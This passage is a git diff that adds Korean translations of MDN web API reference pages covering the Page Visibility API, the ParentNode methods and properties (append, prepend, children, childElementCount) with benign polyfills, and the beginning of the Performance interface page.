+ Visibility states of an {{HTMLElement("iframe")}} 의 visibility 상태는 부모 document 와 동일하다. CSS 속성으로 iframe 을 숨기더라도 visibility 이벤트가 트리거되거나 content document 의 상태가 변경되지 않는다.</p>
+
+<h3 id="Use_cases">Use cases</h3>
+
+<p>몇몇 예시 :</p>
+
+<ul>
+ <li>사용자가 페이지를 보고 있지 않는 한, 다음 슬라이드로 전진하지 않아야 하는 이미지 carousel 을 가지는 웹사이트.</li>
+ <li>페이지가 보이지 않을 때 업데이트를 위해 서버를 폴링하기 원하지 않는, 정보의 대시보드를 보여주는 어플리케이션.</li>
+ <li>prerender 되는 시점을 감지하여, 페이지 뷰의 카운트를 정확하게 유지할 수 있기를 원하는 페이지</li>
+ <li>디바이스가 대기 모드(유저가 power 버튼을 눌러 screen off)일 때, sound off 를 원하는 웹사이트</li>
+</ul>
+
+<p>개발자들은 역사적으로 이를 감지하기 위해 불완전한 프록시들을 사용하였었습니다. 예를 들어, window 에 onblur/onfocus 핸들러를 등록록함으로써, 당신의 페이지가 활성화된 페이지가 아닐 때 당신이 알 수 있도록 하였지만, 그것은 당신의 페이지가 사용자에게 숨겨져 있음을 알려주지는 못 합니다. Page Visibility API 는 이를 다룹니다. (window 에 onblur/onfocus 핸들러들을 등록하는 것과 비교하자면, 주요 차이점은 다른 window 가 활성화되고 브라우저 window 가 focus 를 잃을 때 페이지가 숨겨지지 않는다는 점입니다. 페이지는 단지 사용자가 다른 탭으로 전환하거나, 브라우저 window 를 최소화하였을 때 숨겨집니다.)</p>
+
+<h2 id="Example">Example</h2>
+
+<p><a href="http://daniemon.com/tech/webapps/page-visibility/">live example</a> 보기 (사운드를 가진 video).<br>
+ <br>
+ 당신이 다른 tab 으로 이동했을 때 video 를 일시 정지하는, 다음의 코드로 구현되어 있는 예시 :</p>
+
+<pre class="brush: js">// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || typeof document[hidden] === "undefined") {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+</pre>
+
+<h2 id="Properties_overview">Properties overview</h2>
+
+<h3 id="document.hidden_Read_only"><code>document.hidden</code> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></h3>
+
+<p>페이지가 사용자에게 보이지 않는 것으로 간주되는 상태일 경우 <code>true</code> 를 반환하고, 그렇지 않을 경우 <code>false</code> 를 반환한다.</p>
+
+<h3 id="document.visibilityState_Read_only"><code>document.visibilityState</code> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></h3>
+
+<p>는 document 의 visibility 상태를 나타내는 <code>string</code>. 가능한 values:</p>
+
+<ul>
+ <li><code>visible</code> : 페이지 컨텐츠가 적어도 부분적으로 보일 수 있다. 실제로 이것은 페이지가 최소화되지 않은 window 의 맨 앞쪽 탭임을 의미한다.</li>
+ <li><code>hidden</code> : 페이지 컨텐츠가 사용자에게 보이지 않는다. 실제로 이것은 document 가 뒤쪽 탭이거나 최소화된 window 의 부분이거나, OS Screen 의 lock 이 활성화되어 있음을 의미한다.</li>
+ <li><code>prerender</code> : 페이지 컨텐츠가 프리렌더되고 있으며 유저에게 보이지 않는다 (<code>document.hidden </code>목적으로 숨겨진 것으로 간주). document 는 이 상태에서 시작될 수도 있지만, 다른 값으로부터 이 상태로 전환되지는 않을 것이다. 참고: 브라우저 지원은 optional 하다.</li>
+ <li><code>unloaded</code> : 페이지가 메모리로부터 unload 되고 있다. 참고: 브라우저 지원은 optional 하다.</li>
+</ul>
+
+<pre class="brush: js">//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Page Visibility API')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.visibilityState")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Description of the <a href="http://blogs.msdn.com/b/ie/archive/2011/07/08/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-2.aspx" title="Page Visibility on IEBlog">Page Visibility API</a> on the IEBlog.</li>
+ <li>Description of the <a href="http://code.google.com/chrome/whitepapers/pagevisibility.html" title="Page Visibility API by Google">Page Visibility API</a> by Google</li>
+</ul>
diff --git a/files/ko/web/api/parentnode/append/index.html b/files/ko/web/api/parentnode/append/index.html
new file mode 100644
index 0000000000..1c9496b65b
--- /dev/null
+++ b/files/ko/web/api/parentnode/append/index.html
@@ -0,0 +1,134 @@
+---
+title: ParentNode.append()
+slug: Web/API/ParentNode/append
+translation_of: Web/API/ParentNode/append
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ParentNode.append()</code></strong> 메서드는 <code>ParentNode</code>의 마지막 자식 뒤에 {{domxref("Node")}} 객체 또는 {{domxref("DOMString")}} 객체를 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드처럼 삽입한다.</p>
+
+<p>{{domxref("Node.appendChild()")}}와 다른 점:</p>
+
+<ul>
+ <li><code>ParentNode.append()</code>는 {{domxref("DOMString")}} 객체도 추가할 수 있다. 한편 <code>Node.appendChild()</code>는 오직 {{domxref("Node")}} 객체만 허용한다.</li>
+ <li><code>ParentNode.append()</code>는 반환하는 값이 없다. 한편 <code>Node.appendChild()</code>는 추가한 {{domxref("Node")}} 객체를 반환한다.</li>
+ <li><code>ParentNode.append()</code>는 여러 개 노드와 문자를 추가할 수 있다. 한편 <code>Node.appendChild()</code>는 오직 노드 하나만 추가할 수 있다.</li>
+</ul>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>삽입하려고 하는 {{domxref("Node")}} 객체 집합 또는 {{domxref("DOMString")}} 객체 집합.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: 계층 구조의 지정된 지점에 노드를 삽입 할 수 없다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요소element_추가하기">요소(element) 추가하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ &lt;p&gt; ]
+</pre>
+
+<h3 id="문자text_추가하기">문자(text) 추가하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"</pre>
+
+<h3 id="요소element와_문자text_함께_추가하기">요소(element)와 문자(text) 함께 추가하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.append_범위_지정_불가"><code>ParentNode.append()</code> 범위 지정 불가</h3>
+
+<p><code>append()</code> 메소드는 <code>with</code> 문으로 범위를 지정하지 않는다. 더 자세한 내용은 {{jsxref("Symbol.unscopables")}} 참고.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined </pre>
+
+<h2 id="대체_구현">대체 구현</h2>
+
+<p>다음 코드를 이용하면 인터넷 익스플로러 9 이상에서 <code>append() method</code>를 대체하여 구현할 수 있다.</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">참고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ParentNode.append")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/parentnode/childelementcount/index.html b/files/ko/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..665c417512
--- /dev/null
+++ b/files/ko/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,97 @@
+---
+title: ParentNode.childElementCount
+slug: Web/API/ParentNode/childElementCount
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><code><strong>ParentNode.childElementCount</strong></code> 읽기 전용 속성은 주어진 요소의 자식 요소 개수를 <code>unsigned long</code> 타입으로 반환합니다.</p>
+
+<div class="note">
+<p>이 속성은 처음에 {{domxref("ElementTraversal")}} 인터페이스에 정의되었습니다. 이 인터페이스는 자식이 있는 {{domxref("Node")}}와 자식 {{domxref("Node")}}를 위한 두 가지 고유한 속성 집합을 포함하고 있었는데, 각각 {{domxref("ParentNode")}}와 {{domxref("ChildNode")}} 개별 인터페이스로 이동되었습니다. <code>childElementCount</code>의 경우 {{domxref("ParentNode")}}로 이동했습니다. 이것은 기술적인 변화로 호환성에는 영향을 미치지 않습니다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">var <var>count</var> = <em>node</em>.childElementCount;
+</pre>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd><code>unsigned long</code>(정수) 타입의 반환값.</dd>
+ <dt><code>node</code></dt>
+ <dd>{{domxref("Document")}}, {{domxref("DocumentFragment")}} 또는 {{domxref("Element")}} 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js notranslate">var foo = document.getElementById('foo');
+if (foo.childElementCount &gt; 0) {
+  // Do something
+}
+</pre>
+
+<h2 id="폴리필_IE8_IE9_Safari">폴리필 (IE8 &amp; IE9 &amp; Safari)</h2>
+
+<p>이 속성은 IE9 이전 버전에서는 지원하지 않습니다. IE9과 Safari는 <code>Document</code>와 <code>DocumentFragment</code> 객체에서 이 속성을 지원하지 않습니다.</p>
+
+<pre class="brush:js notranslate">;(function(constructor) {
+  if (constructor &amp;&amp;
+      constructor.prototype &amp;&amp;
+      constructor.prototype.childElementCount == null) {
+    Object.defineProperty(constructor.prototype, 'childElementCount', {
+      get: function() {
+        var i = 0, count = 0, node, nodes = this.childNodes;
+        while (node = nodes[i++]) {
+          if (node.nodeType === 1) count++;
+        }
+        return count;
+      }
+    });
+  }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childelementcount', 'ParentNode.childElementCount')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ParentNode.childElementCount")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}}와 {{domxref("ChildNode")}} 인터페이스.</li>
+ <li>
+  <div class="syntaxbox">이 인터페이스를 구현한 객체 타입: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/parentnode/children/index.html b/files/ko/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..264fb25956
--- /dev/null
+++ b/files/ko/web/api/parentnode/children/index.html
@@ -0,0 +1,85 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+translation_of: Web/API/ParentNode/children
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">{{domxref("ParentNode")}}의 속성 <code><strong>children</strong></code>은 호출된 요소의 모든 자식 노드의 {{domxref("Element","elements")}}를 담고있는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.</span></p>
+
+<h2 id="Syntax">Syntax </h2>
+
+<pre class="syntaxbox">var <em>children</em> = <em>node</em>.children;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>실시간이며, <code>node</code>의 자식 DOM 요소들의 정렬된 컬렉션인 {{ domxref("HTMLCollection") }}. 각 자식 요소를 컬렉션 안에서 접근하기 위해서 {{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 Javascript 배열 스타일의 문법을 사용할 수 있습니다.</p>
+
+<p>만약 노드가 자식요소를 갖고 있지 않나면, <code>children</code>은 0의 <code>length</code>를 가진 빈 리스트 일 것입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var foo = document.getElementById('foo');
+for (var i = 0; i &lt; foo.children.length; i++) {
+    console.log(foo.children[i].tagName);
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// Overwrites native 'children' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.children == null) {
+        Object.defineProperty(constructor.prototype, 'children', {
+            get: function() {
+                var i = 0, node, nodes = this.childNodes, children = [];
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        children.push(node);
+                    }
+                }
+                return children;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode.children")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} interfaces.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+ <li>
+  <div class="syntaxbox">{{domxref("Node.childNodes")}}</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/parentnode/index.html b/files/ko/web/api/parentnode/index.html
new file mode 100644
index 0000000000..39502f3625
--- /dev/null
+++ b/files/ko/web/api/parentnode/index.html
@@ -0,0 +1,80 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+  - API
+  - DOM
+  - Mixin
+  - Node
+  - ParentNode
+  - Reference
+translation_of: Web/API/ParentNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>ParentNode</strong></code> 믹스인<sup>mixin</sup>은 자식을 가질 수 있는 모든 종류의 {{domxref("Node")}} 객체가 공통으로 가지는 메서드와 속성을 가집니다.</span> {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("DocumentFragment")}} 객체가 구현합니다.</p>
+
+<p><a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a> 문서를 참고하여 <a href="/ko/docs/Web/CSS/CSS_Selectors">CSS 선택자</a>로 원하는 노드나 요소를 선택하는 법을 알아보세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>가 가진 자식 중 요소의 수를 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>가 가진 모든 자식 중 요소만 모은 {{domxref("HTMLCollection")}}을 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>의 자식이자 {{jsxref("Element")}}인 객체 중 첫 번째를 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt>
+ <dd><code>ParentNode</code>의 자식이자 {{jsxref("Element")}}인 객체 중 마지막을 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd><code>ParentNode</code>의 마지막 자식 다음에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. <code>DOMString</code> 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.</dd>
+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd><code>ParentNode</code>의 첫 번째 자식 이전에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. <code>DOMString</code> 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>현재 <code>ParentNode</code>를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 첫 번째 {{domxref("Element")}}를 반환합니다.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>현재 <code>ParentNode</code>를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 모든 요소의 {{domxref("NodeList")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} 순수 인터페이스.</li>
+ <li>
+  <div class="syntaxbox"><code>ParentNode</code>를 구현하는 {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/parentnode/prepend/index.html b/files/ko/web/api/parentnode/prepend/index.html
new file mode 100644
index 0000000000..1877529adc
--- /dev/null
+++ b/files/ko/web/api/parentnode/prepend/index.html
@@ -0,0 +1,133 @@
+---
+title: ParentNode.prepend()
+slug: Web/API/ParentNode/prepend
+translation_of: Web/API/ParentNode/prepend
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ParentNode.prepend()</code></strong> 메소드는 {{domxref("Node")}} 객체 또는{{domxref("DOMString")}} 객체를 {{domxref("ParentNode")}}의 첫 자식노드 앞에 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입된다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>ParentNode</em>.prepend(<em>...nodesToPrepend</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>nodesToPrepend</code></dt>
+ <dd>One or more nodes to insert before the first child node currently in the <code>ParentNode</code>. Each node can be specified as either a {{domxref("Node")}} object or as a string; strings are inserted as new {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Node cannot be inserted at the specified point in the hierarchy.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Prepending_an_element">Prepending an element</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ &lt;span&gt;, &lt;p&gt; ]
+</pre>
+
+<h3 id="Prepending_text">Prepending text</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"</pre>
+
+<h3 id="Appending_an_element_and_text">Appending an element and text</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.prepend()_is_unscopable"><code>ParentNode.prepend()</code> is unscopable</h3>
+
+<p>The <code>prepend()</code> method is not scoped into the <code>with</code> statement. See {{jsxref("Symbol.unscopables")}} for more information.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can polyfill the <code>prepend()</code> method if it's not available:</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode.prepend")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/performance/index.html b/files/ko/web/api/performance/index.html
new file mode 100644
index 0000000000..28e3a63c06
--- /dev/null
+++ b/files/ko/web/api/performance/index.html
@@ -0,0 +1,138 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Interface
+  - Navigation Timing
+  - NeedsTranslation
+  - Performance
+  - Reference
+  - TopicStub
+  - Web Performance
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("High Resolution Time")}}</div>
+
+<p>The <strong><code>Performance</code></strong> interface represents timing-related performance information for the given page.</p>
+
+<p>An object of this type can be obtained by calling the {{domxref("Window.performance")}} read-only attribute.</p>
+
+<div class="note">
+<p><strong><em>Note</em>: </strong>This interface and its members are available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, except where indicated below. Note that some available parts of the interface are not yet documented (see the <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> and <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a> specs for more details.) Also note that performance markers and measures are per context. If you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and vice versa.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>Performance</code> interface doesn't inherit any properties.</em></p>
+
+<dl>
+ <dt>{{domxref("Performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource. Not available in workers.</dd>
+ <dt>{{domxref("Performance.onframetimingbufferfull")}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref("Performance.onresourcetimingbufferfull")}}</dt>
+ <dd>Is an {{domxref("EventTarget")}} which is a callback that will be called when the {{event("resourcetimingbufferfull")}} event is fired.</dd>
+ <dt>{{domxref("Performance.timing")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information. Not available in workers.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><em>The <code>Performance</code> interface doesn't inherit any </em>method</em>.</p>
+
+<dl>
+ <dt>{{domxref("Performance.clearFrameTimings()")}}</dt>
+ <dd>TBD</dd>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Removes the given <em>mark</em> from the browser's performance entry buffer.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Removes the given <em>measure</em> from the browser's performance entry buffer.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Removes all {{domxref("PerformanceEntry","performance entries")}} with a {{domxref("PerformanceEntry.entryType","entryType")}} of "<code>resource</code>" from the browser's performance data buffer.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects based on the given <em>filter</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
